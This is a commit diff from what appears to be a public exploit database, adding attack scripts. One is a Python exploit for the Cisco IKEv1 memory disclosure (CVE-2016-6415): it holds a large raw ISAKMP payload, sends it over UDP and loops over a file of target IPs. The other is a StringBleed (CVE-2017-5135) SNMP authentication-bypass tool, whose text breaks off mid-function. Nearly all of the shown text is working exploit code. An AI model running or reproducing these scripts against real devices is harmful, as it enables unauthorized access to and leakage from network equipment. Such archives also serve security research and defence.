DB: 2017-12-22
6 changes to exploits/shellcodes Ruby < 2.2.8 / < 2.3.5 / < 2.4.2 / < 2.5.0-preview1 - 'NET::Ftp' Command Injection Zabbix Agent 3.0.1 - mysql.size Shell Command Injection Zabbix Agent 3.0.1 - 'mysql.size' Shell Command Injection Cisco IOS 12.2 < 12.4 / 15.0 < 15.6 - Security Association Negotiation Request Device Memory Technicolor DPC3928SL - SNMP Authentication Bypass Fortinet FortiGate 4.x < 5.0.7 - SSH Backdoor Netcore / Netis Routers - UDP Backdoor NETGEAR R7000 - Command Injection NETGEAR R7000 - Command Injection (PoC) Conarc iChannel - Improper Access Restrictions
This commit is contained in:
Offensive Security
parent
307f5f46af
commit
f0d075a5de
7 changed files with 926 additions and 2 deletions
218
exploits/hardware/remote/43383.py
Executable file
218
exploits/hardware/remote/43383.py
Executable file
|
|
@ -0,0 +1,218 @@
|
|||
#!/usr/bin/python
|
||||
# -*- coding: utf8 -*-
|
||||
|
||||
import socket
|
||||
from scapy.all import *
|
||||
|
||||
# ---------------------------
|
||||
# Requirements:
|
||||
# $ sudo pip install scapy
|
||||
# ---------------------------
|
||||
|
||||
conf.verb = 0
|
||||
|
||||
RCVSIZE = 2548
|
||||
TIMEOUT = 6
|
||||
|
||||
payload = '>5\xc7\x07)\xdf\xed\xef\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x02'
|
||||
payload += '\x00\x00\x00\x00\x00\x00\x00\t\xe0\x00\x00\t\xc4\x00\x00\x00\x01'
|
||||
payload += '\x00\x00\x00\x01\x00\x00\t\xb8\x01\x01\x04\x01.\xbf\x19<\x00\x00'
|
||||
payload += '\t\xac\x01\x01\x00\x00\x80\x01\x00\x06\x80\x0b\x00\x01\x00\x0c\x00'
|
||||
payload += '\x04\x00 \xc4\x9b\x80\x02\x00\x02\x80\x04\x00\x01\x00\x06\t\x84'
|
||||
payload += '\xaf\xe30\x12w\x0b\xe2\xaa\xe1\xe9D\xb3F\x07mZ\x8b'
|
||||
payload += '\x16N\xc1c\x1f&\x81\xd2\xd5\xa3\x03\x1b\xf6\x83\x04'
|
||||
payload += '\xa2\xbe\\y\x8e\xd0\xcc\xc1VRWh\xdf"\x0f\xfeXI\xbd#\xfc'
|
||||
payload += '\x99\xab:\xfa\x04\xbeM\x8a\xc4N\x1d\x9f\xc07m\xfaD\xaf\xc8'
|
||||
payload += '\xba\xd2\t\xcc.\xff Zw\xcf\xa4K\x92\xea\xf7Hl\x1e&\xc9\xb8R'
|
||||
payload += '\x1c\xb9\x9b\x8c~\xa2TkZ\t\xf1\n\xb0P/\xc4/c<\x9f\x85\x15'
|
||||
payload += '@\xfbC\x1d\\\xd8,\x10c\x88\x10p\xe8\x0e\xab\xbd\x95+\x02'
|
||||
payload += '\xf0X\xaer\x9fY\xa5\xff\xe2T\t\xbe\x86_\xde\x10\x8dB\xe9'
|
||||
payload += '\x19sZ\x99_e\xa0\xdf$2}^\xb9\xefc\xbd\x18U\xaeA<\xef\xc6'
|
||||
payload += 'n`\xe8\x8d?\xa7y\xe9\xa3\xc3\xb5\x9a{:\xb9s\x08;X\x0fx\xa0'
|
||||
payload += '.\x978\x80W\xe9\xd8F\xa6 \xa5\xae\x9bx\x12\xcf\xe4\xcb\xe0'
|
||||
payload += '\x17\xeeT.\x81~\xb4\x0c\xcf\xcf7\x08\xce{\xd0?\xc57\xcfM>'
|
||||
payload += '\x99$*\xde\xa2;\xe2\n\xe4\xb8\xeb3B\x06\xb5\xab\xc3A\xe62N'
|
||||
payload += '\xb4B\xabY\x1a\x08\xa5mb\x91\xda\xd73\x8e\xbd\x07\xea\xf3\xbf'
|
||||
payload += '\x1c\xce\x89\n{UX\xd5W\x91M\x17\xe7\xa4\xdf~\x9dH\x83\xab\x92'
|
||||
payload += '\xfciJ\x8e\xe3k\x8a\xd3\xd1*\x81.\x99\x03S;8\xb4SE\xd2.S/\xc5'
|
||||
payload += '\x87\xa1\x11$\xfd\xa6\xf0\x1e\xfe\x9f\'B\x87\x00Z\x88b"\x1ceq'
|
||||
payload += '\xdb\t\x81\xb7\xef\xf6\xb3n\xc6 \x83\xa3\xea\x0b;\xba\xe1\x81'
|
||||
payload += '\x07\x91\xac\x11\x87\x9a\xc08\xd2E\xc2PfA\xadW6\xd3\x12\xebeI'
|
||||
payload += '\xff\xef\xf0\x834 \x90\xa0\xb1\xf0A\x8d\xec!ZN:\x98\x1a\xecD'
|
||||
payload += '\xaa\x06.\x17X\xa4M\xaf\xcc\n\xf5\xf2\xc6\xe3-\xedHWY\xac\x12'
|
||||
payload += 'P\x80\x8a\xf5\xf8\xf7y\xc8\xfe\xa4\x9d\xab\x16O\x8f\xc2\xdfu'
|
||||
payload += '\x15s\xae\xca[\xd7\xf3/\x88\n_\x17\x82RC\x08l\x97\xb7\xf3\xef'
|
||||
payload += '\xfd[\xe3P\x1c\xb4\x19\x17\x7f\xc4\xcd$\t1n\xc0l\xeb\xc2~'
|
||||
payload += '\xd6\xb1\xfcs\xd9\x0c\xfc\x03'
|
||||
payload += '\x86\xf1\xc4\xef\x90(\x9d\xf04\xd2\x98k\x0fM@k\xf2\xef\x16'
|
||||
payload += '\xbf8\x81\xe2\xf8k[d\xac\'\x93\x7fnZ\x9dJ\xa8\xbaIM\x1d>'
|
||||
payload += '\xe6L\xc3\xaeD\x08\xf6\x83\xb8\xc7ao&\x97\x13\xb1\xd3,&\xc9'
|
||||
payload += '\xc1\xa0\xb5\xbai\xa8qpE\xc7`\x03\x8a$\xb0E\x8e\x8aM\x1a\x07'
|
||||
payload += '\x9a*\x8a]-\x90\x0c\xd7\xa8+\x8bIbe\xba\tr_Bu\xda\xe5\xd4MrYqN'
|
||||
payload += '\xdeg"L-@\xc3\nT\x86\xd8C\xc8\n\x03\xec\xab\xfb\xbf\xf3i4'
|
||||
payload += '\xb0\x85\xa5\x97\xbc\xdeA'
|
||||
payload += '\xf9\xeb\xb8D\xcfF\x8f\x93[=b\x8d\xba\xeb\xeec\xf8\x99\x02'
|
||||
payload += 'L#"u\xb1\xc0f\xa4\x11\x9f%\xfc\x8bC\xbcY\x98r\xb7\x880\xa3'
|
||||
payload += '\n2yl+\x8d\x9a\xff\xf7\x04\x18\xd5\xc1j\xbb\tot\xb7s}\xbb'
|
||||
payload += '\x10L\xff;\x1c\xf1\xa10\xfa\xc2e7"\xdf\xd3\x9d\xe4\xa9\xfd'
|
||||
payload += '\xf6A\xee\xb2\xb02=J\xfb\xcf\xebT\xa8\xc0\x1et\x1cz|\xde'
|
||||
payload += '\x12>\xed\xc3\x93\xeb\xd2{\xf0<\x1c\xff\x8fg\xfb\x8f\xd7'
|
||||
payload += '#4I\x8dK\xa9iu\xf4\xd0\xb0u\xd2\xb8'
|
||||
payload += '\x0c\xe6U\xba\xe8\xcc,\x06\xbf\x93q;F;\xae<\x1d][\xba'
|
||||
payload += '[\x10\x06\x97\x15y\x02\x1f\xe1<\xff Y\xfa\xb2\x0c\xbdb'
|
||||
payload += '\nm\x81\xb2\x99\xf5\\!\xe63\xa6\x13e\xf3\xa1u\x117n\x8cw'
|
||||
payload += '\n\x97\x81\xbe\xf5\x82\xcc\xdb\xbf\x0cB\xc9\x08b\xb5\x9dGt'
|
||||
payload += '\xff\xd0\xbb\xf3\'6\xdbZ!\xe9\x99\xc3\x972i\x98\xf4\xfb\xef'
|
||||
payload += '\xf7Q\xee\xe8\xa5\xf0\xd4\xa91PLS\xb1-\x0f<~\xc1\xbe\x9d\x85'
|
||||
payload += '\xe31\x1a\x83,=\xa5\x94\x16\x00tq\xa9f'
|
||||
payload += '\x05\xcal*\x9f\xd6\xec\xb9&\xc9}\xbd\x84\xdf\xd5\xd9\x10\xbd'
|
||||
payload += '\x11\xe0|R\xef\x89\x98\x85d3F\x11\xc4D\x12\x02:\xaby\xf5\xcc'
|
||||
payload += '\xaa\x17\x0b\xffm8\x88\x07Ym\xd0{\xcaE.,t9\x11\xa2\xf2L\x1e'
|
||||
payload += '\x06\x8aY\x96\\K\x9c\xf87\xd05k\x03\x9c\x00\xda/\xc7\xa3\x10y'
|
||||
payload += '\x1a\x80\x05\xde\xc8\x06:/\x08\xc3?\x15\xe9\x85\x97V\xb0\x80^'
|
||||
payload += '\xbeT\x7f\xb7\x08V\x9f:\xfa~\x0bb\xdf\x8236\xfc\xe8\xf8\xb4N'
|
||||
payload += '\x886\xdc\x94\x952'
|
||||
payload += '\x12\x97s\xfdn\xee0\x10\xaeg\xc9\xfb\xe0\xf9!\xd6j\x8c\xe2'
|
||||
payload += '\xbd\xf4\xc21\xca\x89t\x18\x03:\xc7(B!\xcfa\x08\xcc \x8c'
|
||||
payload += '\x12\xa2\n\xeb\x875\xe2~\xe95\xacA\xa2\xc3\xd6W\x1c\xcf'
|
||||
payload += '\'o\xacZxv\xac\x88"\xb5w\x02\xae\x8b-\x16-p\xdezd\xbec['
|
||||
payload += '\xc7n\x12~QA\xc0\xe6\x9dQ\'\xf0\xe0"\xb1::\xfe\xd8$\xd1'
|
||||
payload += '\x8bSa\x84\x8d\x0c\xd24g\xe3\xfe\x8d\xe4\x01\xd2c\x08\xda'
|
||||
payload += '`Y 5\n\xf9\x08\xcc#\x80!\x9b\xb4^\xcbu\x02'
|
||||
payload += '\xd9g\x00\x0f\xbcy\xe1\xf4\xf0OD\x7f\xe4\x96\xe5J\xb6\x14'
|
||||
payload += '\xa8j\xce\x1b\x06\xf3\x13V-\x07\x9b\xe9,\xe3J\xb8\'\xf0U~'
|
||||
payload += '\xd2p\xde;}\xf6NY\xfa\'\x8e\x1a\t\xfc\x89\xe3\x07\xdc\x06'
|
||||
payload += '\xc10\xef\xd61\x03\x05=s\x9b\x90\x1eR\x91\xa8\xb1\xa2\x15)'
|
||||
payload += '\x9bj=\x881\x03@Ck\xad\x045\x94\n\x83W@\xcdeD\xe1\x8dX\xf2U'
|
||||
payload += '{\xa2\xd8\xbb\x04ogfE\xe0s\x9az\x08\xf12 \xb9\x06\xeb]\x19'
|
||||
payload += '\x1aW\xb6ju\x11\x1fn\xdbC\x84\x1e'
|
||||
payload += '\xea -\xba\x8f\xd0\xa9\t\xf1X\xcd\x13\xe1e\xd4\x98\x93!)xb'
|
||||
payload += '\xff\xd5\x90\xcfB|\xce\x16"\x0e\x89$L\x9e$\xb1\xf0&\xe7\xe9'
|
||||
payload += '\x1b\xaa@\xd2K\x97\xc3\xf0\x0b\xed\xd5p\xef\xa8\x04\xa2\x9a&'
|
||||
payload += '\xc0\x01\x8d\x9d$c\xf7"\xc6u\x18\x030+\xbeC\xce\xab\xc1\xee'
|
||||
payload += '\x1c\xe2\x11C;\x0b%\xcb\x99\xd1\xbc\xe6;\x86BB\x1a\x98\x02'
|
||||
payload += '\xe9\xf6P\x98+s\xe9\xd3i\x04!\xdd\xa1\xd1\xc1\xedY\x07\xf0'
|
||||
payload += '\n\xc4\'\xde:Ai\x9d/\x19p\x91'
|
||||
payload += '\xc5\\?v}\xdd\x91\x888?\xaa\xc3\x0c\xc6\xcf\xe7\xf3\xc6d'
|
||||
payload += '\xf4\x08\n\xa4U\xaf\n\x04\xd9/\xec\xcb\xe4\x98\x99\xb7\x1e'
|
||||
payload += '\xa7/\x85\xdf\xa2M\x89~\x08\xfd\x08\xc7\xf3\xa6\xc0*rK=\xad'
|
||||
payload += '\xa5\xe6\\\x08)aZq\x97\xbf\xe9\x9b\xd0\tV\x9d\xc2\x19\x92'
|
||||
payload += '\xf1m\xf8\xdcu\xe2\xe8\xd2\xd7\xdb\xd9{\x0c\xb2\xbd\xed'
|
||||
payload += '\x1fj\t\xcc&\x9c\x87\x9cs:\xd1\xbe\x88\xdb\x18\xce\x0b'
|
||||
payload += 'f&\xf6q\xd06n\xe6\xc5Q\xa4i9Bp\x80\xe5$\xc9'
|
||||
payload += '\xf8-\xe8\xce\xf1q\xd5A\x89\xe41\x8a\xf8\xa5Q\xe2\xf0\xb3'
|
||||
payload += 'ho-\xfc\x11\x12\x1btD\x190\xc0\x16@>\x0f\x9e\x08rT^\xdf'
|
||||
payload += '\xd9z6}!\xb3k9\x97y\x97\x9a\xd8\xcd7\x17\xc5\xbd\xe4\xa2'
|
||||
payload += '=&2\x9f1\xa0\x9f?\x8e\xfb\xf2\x07\ti\xc6\x05\xc9\xfa\xf8M'
|
||||
payload += '\xa3\xe6\x0e\xaeN\xc5:-\xa4\x8aI\x1bNo\xb5\xedN\x8c\xa9'
|
||||
payload += '\xda \x18\x8a\x18\xd2(\xc3\x97\x15\xe9]\x9a\x85\xaay\x82'
|
||||
payload += '0\xa4N=\xb5\xaa0A\x81\xed\xea]A\xa6Pu\x06\x18'
|
||||
payload += '\x83\x9c\x91\x86\xc6\x90\xc3<\xb6F\n\xe3\xfd\xdf\x0e\x17'
|
||||
payload += '\x1f$y\xd5\xb6\xb6\x9e{\x00~/L\xae\x10\x9fDo\xbf[KF\xd2*'
|
||||
payload += '\x90sa)\x92M\x00\x9f\x13\xb8V\x811\xa7\xe17gFRh"@zR=\xf3'
|
||||
payload += '\x83\x94\x9d_\x83Ax\x01I\xce\x99P\x11\x11@\x8b\xc7\xbc\x94'
|
||||
payload += 'd\xae\xe3r\xc7]\xc5m\xc7J\xa1\xb7f\xba%\xb9G\xe0+C\xc5\xa2'
|
||||
payload += '\x9e\xe5p\xb6\x7f\x0b\xa3 L\xa7\xd7\nf\xaa\x19\xe8\xe1&jT'
|
||||
payload += '\x89\xfcv\t\xd4\n\xec\xf5\x8b\xc9\x04\xb6'
|
||||
payload += '\x1b\x1c\n\x83\x11=: \xf3\xa7z \x13\xcf\x96\x8a\xb2\x9bk'
|
||||
payload += '\x04\xb7\x86\xea\x99\x05\x043\xe5_J\xc9bh\xf1\xadE\xe8'
|
||||
payload += '\x13O\xf4\xfbx\x98\x95\xef\x86B\xac\x0b\xac-\xbb\x82\xfav'
|
||||
payload += '\xf5\xa1\xbe]B\xa5\xd6\'\xb8]6\xc7\tXW\xc4C\x97\xa2\n\x8c'
|
||||
payload += '\x02\x89\xc3h`(\x05\x9d_\xb9\xf99\xbf\x1bJ<\x83\x02\xe9'
|
||||
payload += '\x84\x83\xc7K\x9e\xcf\xaf\xf8r\xd2\xf1!\xc8\x0f\x862'
|
||||
payload += '\\\x99@OK\xb5TL\x03d\x92\x81\xb5S5+\xec\x0e\x96\x8f'
|
||||
payload += '\x08\xf6I[PP\xd0\x89\n\xb5\xe5\x17\xbd\x8d\xbd\x86\xd3'
|
||||
payload += '\nZ\xfa\xc7\xac\xa5\x9d\x7f8\x91\xc8\xcd\x93K\x84\x1d'
|
||||
payload += '\x03\t\xd8i\xf1Z7i\xb3\x0eQ\xe1<\x1a\xac\xd7\xd5\xc3'
|
||||
payload += '\x1fv\xd7K\xe9\xa5j\xba\x15\xe9hN]\xb0\xb0\xcf3\x0e'
|
||||
payload += '\xc6\xd7U\x8d$0a\x8f\xff\xd4X\xdb(%\x06\xbf\x9e\x8c='
|
||||
payload += '\xf2C\xba\x80J\xbdU8\xafpL\xb8\x9e\xd5\x94\xca\xc9\xf2'
|
||||
payload += '\xda\x10H\x19\xf2\xcc\xae\x04\xe1t\\1\xbc\xa3\x96\xaa\xd6\x04{\xe8'
|
||||
payload += '\xca;\xc3\xce\xa2{\xb4\x9b\x15c&\xe6\xe31v\x8f\x9c \xdfj_\xa7'
|
||||
payload += '\nT\xae\x06m\x8a\xe4\xbb!p\xb5]\xfb\xdf\xa3K\xc7k\xc66\xa7'
|
||||
payload += '\x19L\xe4\xcc\x99\x04,8*\xbf\xf9\x83\x80`S\xb9\x9d\x1d'
|
||||
payload += '\xcaI\xca.{\\\x9b\x1e\xb8r\x93\x8b\x08\xf9=*T\x80\xb8a'
|
||||
payload += '\x9aq(\xf2oq{KCs\xdc\xcdN\x1c\x87\xfalq\xc5\x82\xf8\x89'
|
||||
payload += '\x13kS\x00\xf3\x9a\xe4\xbaC\xc0\xc2T}\x86\x85l\xe4B\x95'
|
||||
payload += '\xb7ru\x86\xf5\x1e}j5\xe2\xe9\xfeG\x16\x8c\x1c'
|
||||
payload += '\x01b\xe9\xd0\xd1\x16\xa4)\xf0\xcb0*W\x9f\x9fT\xf5\x12'
|
||||
payload += '\xea[\x8b\xdd\xb6+\xf2\x04\x06\x916\xa7\xc6e\x96\x8cx'
|
||||
payload += '\xe0\xfe\xd4u\x96\xc8c\xe4c\xdd\xca@f\x7fj\xa4\xe7`'
|
||||
payload += '\xa5\x8b\xff\xe7\xed\x1c\x00w\x18\xbe[\xef\xe4\x1f'
|
||||
payload += '\xa4?\x8c\x90\x80\x05\xbf\xe4\xd9\x9e\x964\x16\x16'
|
||||
payload += '\x0b\xf0\xbfn\xd8\xa7_\x9c\nm\xb5DA\xa2\x10Hy\xb5'
|
||||
payload += '\x82\x88\xa7\xb3&~\x91\xa3?\xd6*\xd9\n;^t\xc3'
|
||||
payload += '\x1f\x08\xcc\xb1\xc0\x9d}\x9eJ'
|
||||
payload += '\xe6\x89\xbf\x03h:\x90Y\xfb\xe6R|\x0fInW\xaf'
|
||||
payload += '\x16\xffz\xd4CL&r\xdd\x15y\xa9Z\xe7p\xbc\xeb'
|
||||
payload += '\x1b\xf3\x811\xe1V\xc4$?\xe9\xda\x1fj\xa9J\x05\xe3'
|
||||
payload += '\x96I6\xdaNa\x93\x1e\xac\xd9I\n\x15\x10\xf0\x1f\xbb'
|
||||
payload += '\x07\x00"\xd3\x94Eth\xa4\xf7gz\xdehu\xce3'
|
||||
payload += '\xf8\xc0mS\x80\x03\x00\x01'
|
||||
|
||||
# print(len(payload))
|
||||
|
||||
# cisco - IP/UDP/ISAKMP
|
||||
def exploit(host, port=500):
|
||||
# ikev1_pkt = open("sendpacket.raw").read()
|
||||
data = None
|
||||
try:
|
||||
# print("[+] exploit CVE-2016-6415 - {}:{}".format(host, port))
|
||||
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
# IP/UDP/ISAKMP
|
||||
client.sendto(payload, (host, port))
|
||||
client.settimeout(TIMEOUT)
|
||||
data, addr = client.recvfrom(RCVSIZE)
|
||||
except socket.timeout:
|
||||
pass
|
||||
# print("[*] timeout - {}:{}".format(host, port))
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def is_vulnable(host, port):
|
||||
data = exploit(host, port)
|
||||
if data:
|
||||
isakmp = ISAKMP(data)
|
||||
# ls(isakmp)
|
||||
if isakmp.haslayer(ISAKMP_payload):
|
||||
isakmp_payload = isakmp.getlayer(ISAKMP_payload)
|
||||
# leak memory data
|
||||
# isakmp_payload.load
|
||||
if isakmp_payload.length > 0 and isakmp_payload.load:
|
||||
print("[+] exploit {}:{} succesfully".format(host, port))
|
||||
return True
|
||||
|
||||
print("[-] exploit {}:{} Failed".format(host, port))
|
||||
return False
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
import sys
|
||||
if len(sys.argv) == 2:
|
||||
with open(sys.argv[1]) as f:
|
||||
for ip in f:
|
||||
is_vulnable(ip.strip(), 500)
|
||||
|
||||
# https://github.com/adamcaudill/EquationGroupLeak/tree/master/Firewall/TOOLS/BenignCertain/benigncertain-v1110
|
||||
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1
|
||||
# https://tools.cisco.com/security/center/selectIOSVersion.x
|
||||
# https://isakmpscan.shadowserver.org/
|
||||
# https://twitter.com/marcan42/status/766346343405060096
|
||||
# https://nmap.org/nsedoc/scripts/ike-version.html
|
||||
# http://www.cisco.com/c/en/us/about/security-center/identify-mitigate-exploit-ikev1-info-disclosure-vuln.html
|
||||
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6415
|
||||
|
||||
# [+] ---- Fingerprint: ---- [+]
|
||||
# cisco pix
|
||||
# cisco pix 6
|
||||
# cisco pix 7
|
||||
#
|
||||
# 500/udp open isakmp udp-response Cisco VPN Concentrator 3000 4.0.7
|
||||
# Cisco Systems, Inc./VPN 3000 Concentrator Version 4.7.2.L built by vmurphy on Jun 11 2007 14:07:29
|
||||
# Vendor: Cisco Systems, Inc.
|
||||
# Cisco Systems, Inc. 12.2
|
||||
# Cisco Systems, Inc. 12.4
|
||||
# Cisco Systems, Inc. 15.5
|
||||
# Cisco Systems pix
|
||||
# Cisco VPN Concentrator
|
||||
298
exploits/hardware/remote/43384.py
Executable file
298
exploits/hardware/remote/43384.py
Executable file
|
|
@ -0,0 +1,298 @@
|
|||
#!/usr/bin/python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# StringBleed - CVE-2017-5135
|
||||
|
||||
__author__ = ["Nixawk"]
|
||||
|
||||
__funcs__ = [
|
||||
'generate_snmp_communitystr',
|
||||
'generate_snmp_proto_payload',
|
||||
'send_snmp_request',
|
||||
'read_snmp_communitystr',
|
||||
'read_snmp_varbindstr',
|
||||
'snmp_login',
|
||||
'snmp_stringbleed'
|
||||
]
|
||||
|
||||
|
||||
import struct
|
||||
import uuid
|
||||
import socket
|
||||
import time
|
||||
import logging
|
||||
import contextlib
|
||||
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
log = logging.getLogger(__file__)
|
||||
|
||||
|
||||
def generate_snmp_communitystr():
|
||||
return str(uuid.uuid4())
|
||||
|
||||
|
||||
def generate_snmp_proto_payload(community):
|
||||
"""Generate snmp request with [SNMPv1] and [OID: 1.3.6.1.2.1.1.1.0]
|
||||
For example, suppose one wanted to identify an instance of the
|
||||
variable sysDescr The object class for sysDescr is:
|
||||
iso org dod internet mgmt mib system sysDescr
|
||||
1 3 6 1 2 1 1 1
|
||||
"""
|
||||
|
||||
# SNMPv1 specifies five core protocol data units (PDUs).
|
||||
# All SNMP PDUs are constructed as follows:
|
||||
|
||||
# ---------------------
|
||||
# | IP header |
|
||||
# ---------------------
|
||||
# | UDP header |
|
||||
# --------------------- -------|
|
||||
# | version | |
|
||||
# | community | |
|
||||
# | PDU-type | |
|
||||
# | request-id | |---- SNMP
|
||||
# | error-status | |
|
||||
# | error-index | |
|
||||
# | variable bindings | |
|
||||
# --------------------- -------|
|
||||
#
|
||||
|
||||
# The seven SNMP protocol data unit (PDU) types are as follows:
|
||||
# GetRequest
|
||||
# SetRequest
|
||||
# GetNextRequest
|
||||
# GetBulkRequest
|
||||
# Response
|
||||
# Trap
|
||||
# InformRequest
|
||||
|
||||
# SNMPv1 Message Header
|
||||
# SNMPv1 Trap Message Hander
|
||||
|
||||
# https://tools.ietf.org/html/rfc1592
|
||||
# +-----------------------------------------------------------------+
|
||||
# | Table 1 (Page 1 of 2). SNMP GET PDU for dpiPortForTCP.0 |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | OFFSET | VALUE | FIELD |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 0 | 0x30 | ASN.1 header |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 1 | 37 + len | PDU_length, see formula below |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 2 | 0x02 0x01 0x00 | SNMP version: |
|
||||
# | | | (integer,length=1,value=0) |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 5 | 0x04 | community name (string) |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 6 | len | length of community name |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 7 | community name | varies |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 7 + len | 0xa0 0x1c | SNMP GET request: |
|
||||
# | | | request_type=0xa0,length=0x1c |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 7 + len + 2 | 0x02 0x01 0x01 | SNMP request ID: |
|
||||
# | | | integer,length=1,ID=1 |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 7 + len + 5 | 0x02 0x01 0x00 | SNMP error status: |
|
||||
# | | | integer,length=1,error=0 |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 7 + len + 8 | 0x02 0x01 0x00 | SNMP index: |
|
||||
# | | | integer,length=1,index=0 |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 7 + len + 11 | 0x30 0x11 | varBind list, length=0x11 |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 7 + len + 13 | 0x30 0x0f | varBind, length=0x0f |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 7 + len + 15 | 0x06 0x0b | Object ID, length=0x0b |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 7 + len + 17 | 0x2b 0x06 0x01 | Object-ID: |
|
||||
# | | 0x04 0x01 0x02 | 1.3.6.1.4.1.2.2.1.1.1 |
|
||||
# | | 0x02 0x01 0x01 | Object-instance: 0 |
|
||||
# | | 0x01 0x00 | |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | 7 + len + 28 | 0x05 0x00 | null value, length=0 |
|
||||
# +---------------+----------------+--------------------------------+
|
||||
# | NOTE: Formula to calculate "PDU_length": |
|
||||
# | |
|
||||
# | PDU_length = length of version field and string tag (4 bytes)|
|
||||
# | + length of community length field (1 byte) |
|
||||
# | + length of community name (depends...) |
|
||||
# | + length of SNMP GET request (32 bytes) |
|
||||
# | |
|
||||
# | = 37 + length of community name |
|
||||
# +-----------------------------------------------------------------+
|
||||
|
||||
snmp_GetNextRequest = [
|
||||
b"\x30", # ASN.1 Header
|
||||
b"\x29", # PDU length
|
||||
b"\x02\x01\x00", # SNMP Version
|
||||
b"\x04", # Community Name (string)
|
||||
chr(len(community)), # Community Length
|
||||
community, # Community String
|
||||
b"\xa1\x19", # PDU Type - GetNextRequest
|
||||
b"\x02\x04",
|
||||
struct.pack("<i", int(time.time())), # Request ID
|
||||
b"\x02\x01\x00", # Error Status (Type)
|
||||
b"\x02\x01\x00", # Error Index
|
||||
b"\x30", # Variable Type (Sequence)
|
||||
b"\x0b", # Length
|
||||
b"\x30", # Variable Type (Sequence)
|
||||
b"\x09", # Length
|
||||
b"\x06", # Variable Type (OID)
|
||||
b"\x05", # Length
|
||||
b"\x2b\x06\x01\x02\x01", # Value
|
||||
b"\x05\x00" # NULL
|
||||
]
|
||||
|
||||
pkt = "".join(snmp_GetNextRequest)
|
||||
com_length = chr(len(community))
|
||||
pdu_length = chr(len(pkt) - 2) # community length cost 1 bytes (default)
|
||||
|
||||
if com_length > '\x7f':
|
||||
com_length = '\x81' + com_length
|
||||
pdu_length = chr(len(pkt) - 1) # community length cost 2 bytes
|
||||
|
||||
if pdu_length > '\x7f':
|
||||
pdu_length = '\x81' + pdu_length
|
||||
|
||||
snmp_GetNextRequest[1] = pdu_length
|
||||
snmp_GetNextRequest[4] = com_length
|
||||
|
||||
pkt = b"".join(snmp_GetNextRequest)
|
||||
|
||||
return pkt
|
||||
|
||||
|
||||
def send_snmp_request(host, port, community, timeout=6.0):
|
||||
"""Send snmp request based on UDP.
|
||||
"""
|
||||
data = ''
|
||||
|
||||
try:
|
||||
with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_DGRAM)) as client:
|
||||
snmp_raw = generate_snmp_proto_payload(community)
|
||||
client.settimeout(timeout)
|
||||
client.sendto(snmp_raw, (host, port))
|
||||
data, _ = client.recvfrom(2014)
|
||||
except Exception as err:
|
||||
log.error("{} : {} - {}".format(host, port, err))
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def read_snmp_communitystr(snmp_response):
|
||||
"""Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
|
||||
"""
|
||||
community_str = ''
|
||||
|
||||
if not snmp_response:
|
||||
return community_str
|
||||
|
||||
pdu_length = snmp_response[1] # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
|
||||
if ord(pdu_length) > 0x7f:
|
||||
offset = 8 # "\x30\x81\xea\x02\x01\x00\x04\x24"
|
||||
else:
|
||||
offset = 7 # "\x30\x26\x02\x01\x00\x04\x06"
|
||||
|
||||
community_length = snmp_response[offset - 1]
|
||||
community_str = snmp_response[offset: offset +ord(community_length)]
|
||||
|
||||
return community_str
|
||||
|
||||
|
||||
def read_snmp_varbindstr(snmp_response):
|
||||
"""Parse snmp response based on RFC-1157 (https://tools.ietf.org/html/rfc1157)
|
||||
"""
|
||||
variable_binding_string = ''
|
||||
|
||||
if not snmp_response:
|
||||
return variable_binding_string
|
||||
|
||||
pdu_length = snmp_response[1] # "\x30\x26\x02\x01", "\x30\x81\xea\x02\x01"
|
||||
if ord(pdu_length) > 0x7f:
|
||||
offset = 8 # "\x30\x81\xea\x02\x01\x00\x04\x24"
|
||||
else:
|
||||
offset = 7 # "\x30\x26\x02\x01\x00\x04\x06"
|
||||
|
||||
community_length = snmp_response[offset - 1]
|
||||
pdu_data_offset = offset + ord(community_length)
|
||||
pdu_data = snmp_response[pdu_data_offset:] # 8 = first snmp 8 bytes
|
||||
|
||||
last_pdu = pdu_data.split("\x00")[-1]
|
||||
|
||||
# if data > 127 (0x7f), variable-bindings length: 3 bytes
|
||||
# if data < 127 (0x7f), variable-bindings length: 2 bytes
|
||||
|
||||
last_pdu_length = ord(last_pdu[1])
|
||||
if last_pdu_length > 0x7f:
|
||||
variable_binding_string = last_pdu[3:]
|
||||
else:
|
||||
variable_binding_string = last_pdu[2:]
|
||||
return variable_binding_string
|
||||
|
||||
|
||||
def snmp_login(host, port, community):
|
||||
"""login snmp service with SNMPv1 community string.
|
||||
"""
|
||||
login_status = False
|
||||
try:
|
||||
resp_community = read_snmp_communitystr(
|
||||
send_snmp_request(host, int(port), community)
|
||||
)
|
||||
|
||||
if (resp_community == community):
|
||||
login_status = True
|
||||
except Exception as err:
|
||||
log.error(err)
|
||||
|
||||
return login_status
|
||||
|
||||
|
||||
def snmp_stringbleed(host, port, community):
|
||||
"""Test againsts Snmp StringBleed CVE-2017-5135.
|
||||
"""
|
||||
stringbleed_status = False
|
||||
try:
|
||||
